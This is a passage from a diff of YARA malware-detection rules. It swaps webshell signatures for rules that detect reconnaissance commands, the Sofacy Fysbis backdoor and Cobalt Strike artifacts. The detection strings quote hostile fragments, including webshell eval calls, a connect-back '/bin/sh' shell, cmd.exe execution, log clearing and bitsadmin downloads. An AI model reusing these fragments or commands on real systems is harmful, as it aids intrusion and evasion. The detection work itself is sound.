-		logic_hash = "47c5c242713446471d5da4d9245b99561c26ad7fa016059076a6f0acab542c3c"
-		score = 75
+		reference = "https://goo.gl/MSJCxP"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_recon_indicators.yar#L12-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "36beb09c428949140cb007c1022c385c9a1ae4eea8c1f1a419f96b36b8030c7c"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Session.Contents.Remove(m & \"userPassword\")" fullword ascii
-		$s2 = "passWord = Encode(GetPost(\"password\"))" fullword ascii
-		$s3 = "function Command(cmd, str){" fullword ascii
+		$s1 = "netstat -an" ascii
+		$s2 = "net view" ascii fullword
+		$s3 = "net user" ascii fullword
+		$s4 = "whoami" ascii
+		$s5 = "tasklist /v" ascii
+		$s6 = "systeminfo" ascii
+		$s7 = "net localgroup administrators" ascii
+		$s8 = "net user administrator" ascii
+		$s9 = "regedit -e " ascii
+		$s10 = "tasklist /svc" ascii
+		$s11 = "regsvr32 /s /u " ascii
+		$s12 = "CreateObject(\"WScript.Shell\").RegWrite" ascii
+		$s13 = "bitsadmin /rawreturn /transfer getfile" ascii
+		$s14 = "wmic qfe list full" ascii
+		$s15 = "schtasks.exe /create " ascii nocase
+		$s16 = "wmic share get" ascii
+		$s17 = "wmic nteventlog get" ascii
+		$s18 = "wevtutil cl " ascii
+		$s19 = "sc query type= service" ascii
+		$s20 = "arp -a " ascii
+		$fp1 = "avdapp.dll" fullword wide
+		$fp2 = "keyword.command.batchfile" ascii
+		$fp3 = ".sublime-settings" ascii
 
 	condition:
-		filesize <100KB and all of them
+		filesize <1000KB and 4 of them and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Txt_Aspxtag : FILE
+rule SIGNATURE_BASE_SUSP_Recon_Outputs_Jun20_1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - Webshells - file aspxtag.txt"
+		description = "Detects outputs of many different commands often used for reconnaissance purposes"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e01a7235-5c69-5676-ac5d-c4e4632f31b2"
-		date = "2015-06-14"
+		id = "ec3759aa-212f-52ce-9f38-636accd35749"
+		date = "2020-06-04"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L428-L443"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "42cb272c02dbd49856816d903833d423d3759948"
-		logic_hash = "6ffeee18945cab96673e4b9efc143017d168be12b794fa26aa4a304f15ae8e13"
-		score = 75
+		reference = "https://securelist.com/cycldek-bridging-the-air-gap/97157/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_recon_indicators.yar#L52-L74"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "652b28bfb45a11eaaee198c76560c1f55edc5b32c5394e606bb5426551260f24"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "String wGetUrl=Request.QueryString[" fullword ascii
-		$s2 = "sw.Write(wget);" fullword ascii
-		$s3 = "Response.Write(\"Hi,Man 2015\"); " fullword ascii
+		$s1 = ". . . . : Yes" ascii
+		$s2 = "with 32 bytes of data:" ascii
+		$s3 = "ff-ff-ff-ff-ff-ff     static" ascii
+		$s4 = "  TCP    0.0.0.0:445" ascii
+		$s5 = "System Idle Process" ascii
 
 	condition:
-		filesize <2KB and all of them
+		filesize <150KB and 4 of them
 }
-rule SIGNATURE_BASE_Txt_Php : FILE
+rule SIGNATURE_BASE_Sofacy_Fybis_ELF_Backdoor_Gen1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - Webshells - file php.txt"
+		description = "Detects Sofacy Fysbis Linux Backdoor"
 		author = "Florian Roth (Nextron Systems)"
-		id = "65d5c46f-006d-58f9-bb7f-0a2e1f1853bd"
-		date = "2015-06-14"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L445-L461"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "eaa1af4b898f44fc954b485d33ce1d92790858d0"
-		logic_hash = "ace26e7c0dca285febf6b9192cbe59cc7e55e80f2f4e1a99aba25afcbeadeec1"
-		score = 75
+		id = "c6abf33e-9c5b-5e0f-b7f0-a0741bf9cc3a"
+		date = "2016-02-13"
+		modified = "2023-01-27"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_fysbis.yar#L9-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fb5239aa75512c8c83b066e64b75469f90fb22cb0918af1e44edb29e7ab38206"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "02c7cf55fd5c5809ce2dce56085ba43795f2480423a4256537bfdfda0df85592"
+		hash2 = "8bca0031f3b691421cb15f9c6e71ce193355d2d8cf2b190438b6962761d0c6bb"
 
-	strings:
-		$s1 = "$Config=$_SERVER['QUERY_STRING'];" fullword ascii
-		$s2 = "gzuncompress($_SESSION['api']),null);" ascii
-		$s3 = "sprintf('%s?%s',pack(\"H*\"," ascii
-		$s4 = "if(empty($_SESSION['api']))" fullword ascii
+	strings:
+		$x1 = "Your command not writed to pipe" fullword ascii
+		$x2 = "Terminal don`t started for executing command" fullword ascii
+		$x3 = "Command will have end with \\n" fullword ascii
+		$s1 = "WantedBy=multi-user.target' >> /usr/lib/systemd/system/" ascii
+		$s2 = "Success execute command or long for waiting executing your command" fullword ascii
+		$s3 = "ls /etc | egrep -e\"fedora*|debian*|gentoo*|mandriva*|mandrake*|meego*|redhat*|lsb-*|sun-*|SUSE*|release\"" fullword ascii
+		$s4 = "rm -f /usr/lib/systemd/system/" ascii
+		$s5 = "ExecStart=" fullword ascii
+		$s6 = "<table><caption><font size=4 color=red>TABLE EXECUTE FILES</font></caption>" fullword ascii
 
 	condition:
-		filesize <1KB and all of them
+		( uint16(0)==0x457f and filesize <500KB and 1 of ($x*)) or (1 of ($x*) and 3 of ($s*))
 }
-rule SIGNATURE_BASE_Txt_Aspx1 : FILE
+rule SIGNATURE_BASE_Sofacy_Fysbis_ELF_Backdoor_Gen2 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - Webshells - file aspx1.txt"
+		description = "Detects Sofacy Fysbis Linux Backdoor"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e01a7235-5c69-5676-ac5d-c4e4632f31b2"
-		date = "2015-06-14"
+		id = "d4e3a8bb-b23a-53a4-b5fb-b321a3417b43"
+		date = "2016-02-13"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L463-L477"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c5ecb8bc1d7f0e716b06107b5bd275008acaf7b7"
-		logic_hash = "20bdadd6c8b61ab14f6280f55a90f541bf65c33675f979ebe489cc3967438e15"
-		score = 75
+		reference = "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_fysbis.yar#L37-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1d50a789e9c43fce27f3ad390cbdd9533c61e4f263cec1aa1abfba6545e55c57"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "02c7cf55fd5c5809ce2dce56085ba43795f2480423a4256537bfdfda0df85592"
+		hash2 = "8bca0031f3b691421cb15f9c6e71ce193355d2d8cf2b190438b6962761d0c6bb"
+		hash3 = "fd8b2ea9a2e8a67e4cb3904b49c789d57ed9b1ce5bebfe54fe3d98214d6a0f61"
 
 	strings:
-		$s0 = "<%@ Page Language=\"Jscript\"%><%eval(Request.Item["
-		$s1 = "],\"unsafe\");%>" fullword ascii
+		$s1 = "RemoteShell" ascii
+		$s2 = "basic_string::_M_replace_dispatch" fullword ascii
+		$s3 = "HttpChannel" ascii
 
 	condition:
-		filesize <150 and all of them
+		uint16(0)==0x457f and filesize <500KB and all of them
 }
-rule SIGNATURE_BASE_Txt_Shell : FILE
+rule SIGNATURE_BASE_SUSP_BAT_Aux_Jan20_1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - Webshells - file shell.c"
+		description = "Detects BAT file often dropped to cleanup temp dirs during infection"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3e4c5928-346e-541b-b1a8-b37d5e3abc98"
-		date = "2015-06-14"
+		id = "c97f189e-a0c2-532e-b087-8669da72a2ad"
+		date = "2020-01-29"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L479-L496"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8342b634636ef8b3235db0600a63cc0ce1c06b62"
-		logic_hash = "020e9e6ef776a9d69939fa3dec771dc516b0184086738bab439063acca89bd76"
-		score = 75
+		reference = "https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_bat_aux.yar#L2-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6b8cd9b7683a18a02a81222d6819fe903500702c83f198f73ac428d1bc91fb9a"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f5d558ec505b635b1e37557350562ad6f79b3da5cf2cf74db6e6e648b7a47127"
 
 	strings:
-		$s1 = "printf(\"Could not connect to remote shell!\\n\");" fullword ascii
-		$s2 = "printf(\"Usage: %s <reflect ip> <port>\\n\", prog);" fullword ascii
-		$s3 = "execl(shell,\"/bin/sh\",(char *)0);" fullword ascii
-		$s4 = "char shell[]=\"/bin/sh\";" fullword ascii
-		$s5 = "connect back door\\n\\n\");" fullword ascii
+		$s1 = "if exist \"C:\\Users\\" ascii
+		$s2 = "\\AppData\\Local\\Temp\\" ascii
+		$s3 = "del \"C:\\Users\\" ascii
+		$s4 = ".bat\"" ascii
+		$s5 = ".exe\" goto" ascii
 
 	condition:
-		filesize <2KB and 2 of them
+		uint8(0)==0x3a and filesize <=1KB and all of them
 }
-rule SIGNATURE_BASE_Txt_Asp : FILE
+rule SIGNATURE_BASE_Cobaltstrike_C2_Host_Indicator : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - Webshells - file asp.txt"
-		author = "Florian Roth (Nextron Systems)"
-		id = "39a2ba9a-c429-574f-8820-5e0270a4b84c"
-		date = "2015-06-14"
+		description = "Detects CobaltStrike C2 host artifacts"
+		author = "yara@s3c.za.net"
+		id = "7f15ee30-664e-59b8-9e31-35d88e58a45e"
+		date = "2019-08-16"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L498-L512"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a63549f749f4d9d0861825764e042e299e06a705"
-		logic_hash = "9eab239310fbebe8c88cbf8d0ee4123b8f3e2ebe601949e1e984e9cfde9869e7"
-		score = 75
-		quality = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cobaltstrike_evasive.yar#L1-L14"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4761e282e9473ba665a597894ed514d057309703a7d5b4e462ef0e779bbb8c39"
+		score = 60
+		quality = 65
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Server.ScriptTimeout=999999999:Response.Buffer=true:On Error Resume Next:BodyCol" ascii
-		$s2 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii
+		$c2_indicator_fp = "#Host: %s"
+		$c2_indicator = "#Host:"
 
 	condition:
-		uint16(0)==0x253c and filesize <100KB and all of them
+		$c2_indicator and not $c2_indicator_fp and not uint32(0)==0x0a786564 and not uint32(0)==0x0a796564
 }
-rule SIGNATURE_BASE_Txt_Asp1 : FILE
+rule SIGNATURE_BASE_Cobaltstrike_Sleep_Decoder_Indicator
 {
 	meta:
-		description = "Chinese Hacktool Set - Webshells - file asp1.txt"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b00ab02c-c767-568c-be99-6cc731c3f1dc"
-		date = "2015-06-14"
+		description = "Detects CobaltStrike sleep_mask decoder"
+		author = "yara@s3c.za.net"
+		id = "d5b53d68-55f9-5837-9b0c-e7be2f3bd072"
+		date = "2021-07-19"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L514-L530"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "95934d05f0884e09911ea9905c74690ace1ef653"
-		logic_hash = "77a4409b852d24228b0e1701f1ccc2abe3930c2c7240a43796b23042e706d9bf"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cobaltstrike_evasive.yar#L16-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f3243c326df18edbd15c2d9120379588e61709efb9295b9584c0565c04ee38a5"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s1 = "if ShellPath=\"\" Then ShellPath = \"cmd.exe\"" fullword ascii
-		$s2 = "autoLoginEnable=WSHShell.RegRead(autoLoginPath & autoLoginEnableKey)" fullword ascii
-		$s3 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii
-		$s4 = "szTempFile = server.mappath(\"cmd.txt\")" fullword ascii
+		$sleep_decoder = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 4C 8B 51 08 41 8B F0 48 8B EA 48 8B D9 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 }
 
 	condition:
-		filesize <70KB and 2 of them
+		$sleep_decoder
 }
-rule SIGNATURE_BASE_Txt_Php_2 : FILE
+rule SIGNATURE_BASE_Cobaltstrike_C2_Encoded_XOR_Config_Indicator
 {
 	meta:
-		description = "Chinese Hacktool Set - Webshells - file php.html"
-		author = "Florian Roth (Nextron Systems)"
-		id = "66916e32-9471-54bd-944e-bb751b38d3b0"
-		date = "2015-06-14"
+		description = "Detects CobaltStrike C2 encoded profile configuration"
+		author = "yara@s3c.za.net"
+		id = "8e33c63d-eaba-5851-88f4-ef7261a0a618"
+		date = "2021-07-08"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L532-L552"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a7d5fcbd39071e0915c4ad914d31e00c7127bcfc"
-		logic_hash = "c08f62c3d468c2ebacd10fff6aa0c63bd303d627d487c070a9d22419bf6906cd"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cobaltstrike_evasive.yar#L28-L295"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6b25ee9064e925c183ef7599c95ecffce48c7f96eea714fa5f6441b21716277e"
 		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		quality = 60
+		tags = ""
 
 	strings:
-		$s1 = "function connect($dbhost, $dbuser, $dbpass, $dbname='') {" fullword ascii
-		$s2 = "scookie('loginpass', '', -86400 * 365);" fullword ascii
-		$s3 = "<title><?php echo $act.' - '.$_SERVER['HTTP_HOST'];?></title>" fullword ascii
-		$s4 = "Powered by <a title=\"Build 20130112\" href=\"http://www.4ngel.net\" target=\"_b" ascii
-		$s5 = "formhead(array('title'=>'Execute Command', 'onsubmit'=>'g(\\'shell\\',null,this." ascii
-		$s6 = "secparam('IP Configurate',execute('ipconfig -all'));" fullword ascii
-		$s7 = "secparam('Hosts', @file_get_contents('/etc/hosts'));" fullword ascii
-		$s8 = "p('<p><a href=\"http://w'.'ww.4'.'ng'.'el.net/php'.'sp'.'y/pl'.'ugin/\" target=" ascii
+		$s000 = { 00 01 00 01 00 02 ?? ?? 00 02 00 01 00 02 ?? ?? 00 03 00 02 00 04 ?? ?? ?? ?? 00 04 00 02 00 04 ?? ?? ?? ?? 00 05 00 01 00 02 ?? ?? }
+		$s001 = { 01 00 01 00 01 03 ?? ?? 01 03 01 00 01 03 ?? ?? 01 02 01 03 01 05 ?? ?? ?? ?? 01 05 01 03 01 05 ?? ?? ?? ?? 01 04 01 00 01 03 ?? ?? }
+		$s002 = { 02 03 02 03 02 00 ?? ?? 02 00 02 03 02 00 ?? ?? 02 01 02 00 02 06 ?? ?? ?? ?? 02 06 02 00 02 06 ?? ?? ?? ?? 02 07 02 03 02 00 ?? ?? }
+		$s003 = { 03 02 03 02 03 01 ?? ?? 03 01 03 02 03 01 ?? ?? 03 00 03 01 03 07 ?? ?? ?? ?? 03 07 03 01 03 07 ?? ?? ?? ?? 03 06 03 02 03 01 ?? ?? }
+		$s004 = { 04 05 04 05 04 06 ?? ?? 04 06 04 05 04 06 ?? ?? 04 07 04 06 04 00 ?? ?? ?? ?? 04 00 04 06 04 00 ?? ?? ?? ?? 04 01 04 05 04 06 ?? ?? }
+		$s005 = { 05 04 05 04 05 07 ?? ?? 05 07 05 04 05 07 ?? ?? 05 06 05 07 05 01 ?? ?? ?? ?? 05 01 05 07 05 01 ?? ?? ?? ?? 05 00 05 04 05 07 ?? ?? }
+		$s006 = { 06 07 06 07 06 04 ?? ?? 06 04 06 07 06 04 ?? ?? 06 05 06 04 06 02 ?? ?? ?? ?? 06 02 06 04 06 02 ?? ?? ?? ?? 06 03 06 07 06 04 ?? ?? }
+		$s007 = { 07 06 07 06 07 05 ?? ?? 07 05 07 06 07 05 ?? ?? 07 04 07 05 07 03 ?? ?? ?? ?? 07 03 07 05 07 03 ?? ?? ?? ?? 07 02 07 06 07 05 ?? ?? }
+		$s008 = { 08 09 08 09 08 0A ?? ?? 08 0A 08 09 08 0A ?? ?? 08 0B 08 0A 08 0C ?? ?? ?? ?? 08 0C 08 0A 08 0C ?? ?? ?? ?? 08 0D 08 09 08 0A ?? ?? }
+		$s009 = { 09 08 09 08 09 0B ?? ?? 09 0B 09 08 09 0B ?? ?? 09 0A 09 0B 09 0D ?? ?? ?? ?? 09 0D 09 0B 09 0D ?? ?? ?? ?? 09 0C 09 08 09 0B ?? ?? }
+		$s010 = { 0A 0B 0A 0B 0A 08 ?? ?? 0A 08 0A 0B 0A 08 ?? ?? 0A 09 0A 08 0A 0E ?? ?? ?? ?? 0A 0E 0A 08 0A 0E ?? ?? ?? ?? 0A 0F 0A 0B 0A 08 ?? ?? }
+		$s011 = { 0B 0A 0B 0A 0B 09 ?? ?? 0B 09 0B 0A 0B 09 ?? ?? 0B 08 0B 09 0B 0F ?? ?? ?? ?? 0B 0F 0B 09 0B 0F ?? ?? ?? ?? 0B 0E 0B 0A 0B 09 ?? ?? }
+		$s012 = { 0C 0D 0C 0D 0C 0E ?? ?? 0C 0E 0C 0D 0C 0E ?? ?? 0C 0F 0C 0E 0C 08 ?? ?? ?? ?? 0C 08 0C 0E 0C 08 ?? ?? ?? ?? 0C 09 0C 0D 0C 0E ?? ?? }
+		$s013 = { 0D 0C 0D 0C 0D 0F ?? ?? 0D 0F 0D 0C 0D 0F ?? ?? 0D 0E 0D 0F 0D 09 ?? ?? ?? ?? 0D 09 0D 0F 0D 09 ?? ?? ?? ?? 0D 08 0D 0C 0D 0F ?? ?? }
+		$s014 = { 0E 0F 0E 0F 0E 0C ?? ?? 0E 0C 0E 0F 0E 0C ?? ?? 0E 0D 0E 0C 0E 0A ?? ?? ?? ?? 0E 0A 0E 0C 0E 0A ?? ?? ?? ?? 0E 0B 0E 0F 0E 0C ?? ?? }
+		$s015 = { 0F 0E 0F 0E 0F 0D ?? ?? 0F 0D 0F 0E 0F 0D ?? ?? 0F 0C 0F 0D 0F 0B ?? ?? ?? ?? 0F 0B 0F 0D 0F 0B ?? ?? ?? ?? 0F 0A 0F 0E 0F 0D ?? ?? }
+		$s016 = { 10 11 10 11 10 12 ?? ?? 10 12 10 11 10 12 ?? ?? 10 13 10 12 10 14 ?? ?? ?? ?? 10 14 10 12 10 14 ?? ?? ?? ?? 10 15 10 11 10 12 ?? ?? }
+		$s017 = { 11 10 11 10 11 13 ?? ?? 11 13 11 10 11 13 ?? ?? 11 12 11 13 11 15 ?? ?? ?? ?? 11 15 11 13 11 15 ?? ?? ?? ?? 11 14 11 10 11 13 ?? ?? }
+		$s018 = { 12 13 12 13 12 10 ?? ?? 12 10 12 13 12 10 ?? ?? 12 11 12 10 12 16 ?? ?? ?? ?? 12 16 12 10 12 16 ?? ?? ?? ?? 12 17 12 13 12 10 ?? ?? }
+		$s019 = { 13 12 13 12 13 11 ?? ?? 13 11 13 12 13 11 ?? ?? 13 10 13 11 13 17 ?? ?? ?? ?? 13 17 13 11 13 17 ?? ?? ?? ?? 13 16 13 12 13 11 ?? ?? }
+		$s020 = { 14 15 14 15 14 16 ?? ?? 14 16 14 15 14 16 ?? ?? 14 17 14 16 14 10 ?? ?? ?? ?? 14 10 14 16 14 10 ?? ?? ?? ?? 14 11 14 15 14 16 ?? ?? }
+		$s021 = { 15 14 15 14 15 17 ?? ?? 15 17 15 14 15 17 ?? ?? 15 16 15 17 15 11 ?? ?? ?? ?? 15 11 15 17 15 11 ?? ?? ?? ?? 15 10 15 14 15 17 ?? ?? }
+		$s022 = { 16 17 16 17 16 14 ?? ?? 16 14 16 17 16 14 ?? ?? 16 15 16 14 16 12 ?? ?? ?? ?? 16 12 16 14 16 12 ?? ?? ?? ?? 16 13 16 17 16 14 ?? ?? }
+		$s023 = { 17 16 17 16 17 15 ?? ?? 17 15 17 16 17 15 ?? ?? 17 14 17 15 17 13 ?? ?? ?? ?? 17 13 17 15 17 13 ?? ?? ?? ?? 17 12 17 16 17 15 ?? ?? }
+		$s024 = { 18 19 18 19 18 1A ?? ?? 18 1A 18 19 18 1A ?? ?? 18 1B 18 1A 18 1C ?? ?? ?? ?? 18 1C 18 1A 18 1C ?? ?? ?? ?? 18 1D 18 19 18 1A ?? ?? }
+		$s025 = { 19 18 19 18 19 1B ?? ?? 19 1B 19 18 19 1B ?? ?? 19 1A 19 1B 19 1D ?? ?? ?? ?? 19 1D 19 1B 19 1D ?? ?? ?? ?? 19 1C 19 18 19 1B ?? ?? }
+		$s026 = { 1A 1B 1A 1B 1A 18 ?? ?? 1A 18 1A 1B 1A 18 ?? ?? 1A 19 1A 18 1A 1E ?? ?? ?? ?? 1A 1E 1A 18 1A 1E ?? ?? ?? ?? 1A 1F 1A 1B 1A 18 ?? ?? }
+		$s027 = { 1B 1A 1B 1A 1B 19 ?? ?? 1B 19 1B 1A 1B 19 ?? ?? 1B 18 1B 19 1B 1F ?? ?? ?? ?? 1B 1F 1B 19 1B 1F ?? ?? ?? ?? 1B 1E 1B 1A 1B 19 ?? ?? }
+		$s028 = { 1C 1D 1C 1D 1C 1E ?? ?? 1C 1E 1C 1D 1C 1E ?? ?? 1C 1F 1C 1E 1C 18 ?? ?? ?? ?? 1C 18 1C 1E 1C 18 ?? ?? ?? ?? 1C 19 1C 1D 1C 1E ?? ?? }
+		$s029 = { 1D 1C 1D 1C 1D 1F ?? ?? 1D 1F 1D 1C 1D 1F ?? ?? 1D 1E 1D 1F 1D 19 ?? ?? ?? ?? 1D 19 1D 1F 1D 19 ?? ?? ?? ?? 1D 18 1D 1C 1D 1F ?? ?? }
+		$s030 = { 1E 1F 1E 1F 1E 1C ?? ?? 1E 1C 1E 1F 1E 1C ?? ?? 1E 1D 1E 1C 1E 1A ?? ?? ?? ?? 1E 1A 1E 1C 1E 1A ?? ?? ?? ?? 1E 1B 1E 1F 1E 1C ?? ?? }
+		$s031 = { 1F 1E 1F 1E 1F 1D ?? ?? 1F 1D 1F 1E 1F 1D ?? ?? 1F 1C 1F 1D 1F 1B ?? ?? ?? ?? 1F 1B 1F 1D 1F 1B ?? ?? ?? ?? 1F 1A 1F 1E 1F 1D ?? ?? }
+		$s032 = { 20 21 20 21 20 22 ?? ?? 20 22 20 21 20 22 ?? ?? 20 23 20 22 20 24 ?? ?? ?? ?? 20 24 20 22 20 24 ?? ?? ?? ?? 20 25 20 21 20 22 ?? ?? }
+		$s033 = { 21 20 21 20 21 23 ?? ?? 21 23 21 20 21 23 ?? ?? 21 22 21 23 21 25 ?? ?? ?? ?? 21 25 21 23 21 25 ?? ?? ?? ?? 21 24 21 20 21 23 ?? ?? }
+		$s034 = { 22 23 22 23 22 20 ?? ?? 22 20 22 23 22 20 ?? ?? 22 21 22 20 22 26 ?? ?? ?? ?? 22 26 22 20 22 26 ?? ?? ?? ?? 22 27 22 23 22 20 ?? ?? }
+		$s035 = { 23 22 23 22 23 21 ?? ?? 23 21 23 22 23 21 ?? ?? 23 20 23 21 23 27 ?? ?? ?? ?? 23 27 23 21 23 27 ?? ?? ?? ?? 23 26 23 22 23 21 ?? ?? }
+		$s036 = { 24 25 24 25 24 26 ?? ?? 24 26 24 25 24 26 ?? ?? 24 27 24 26 24 20 ?? ?? ?? ?? 24 20 24 26 24 20 ?? ?? ?? ?? 24 21 24 25 24 26 ?? ?? }
+		$s037 = { 25 24 25 24 25 27 ?? ?? 25 27 25 24 25 27 ?? ?? 25 26 25 27 25 21 ?? ?? ?? ?? 25 21 25 27 25 21 ?? ?? ?? ?? 25 20 25 24 25 27 ?? ?? }
+		$s038 = { 26 27 26 27 26 24 ?? ?? 26 24 26 27 26 24 ?? ?? 26 25 26 24 26 22 ?? ?? ?? ?? 26 22 26 24 26 22 ?? ?? ?? ?? 26 23 26 27 26 24 ?? ?? }
+		$s039 = { 27 26 27 26 27 25 ?? ?? 27 25 27 26 27 25 ?? ?? 27 24 27 25 27 23 ?? ?? ?? ?? 27 23 27 25 27 23 ?? ?? ?? ?? 27 22 27 26 27 25 ?? ?? }
+		$s040 = { 28 29 28 29 28 2A ?? ?? 28 2A 28 29 28 2A ?? ?? 28 2B 28 2A 28 2C ?? ?? ?? ?? 28 2C 28 2A 28 2C ?? ?? ?? ?? 28 2D 28 29 28 2A ?? ?? }
+		$s041 = { 29 28 29 28 29 2B ?? ?? 29 2B 29 28 29 2B ?? ?? 29 2A 29 2B 29 2D ?? ?? ?? ?? 29 2D 29 2B 29 2D ?? ?? ?? ?? 29 2C 29 28 29 2B ?? ?? }
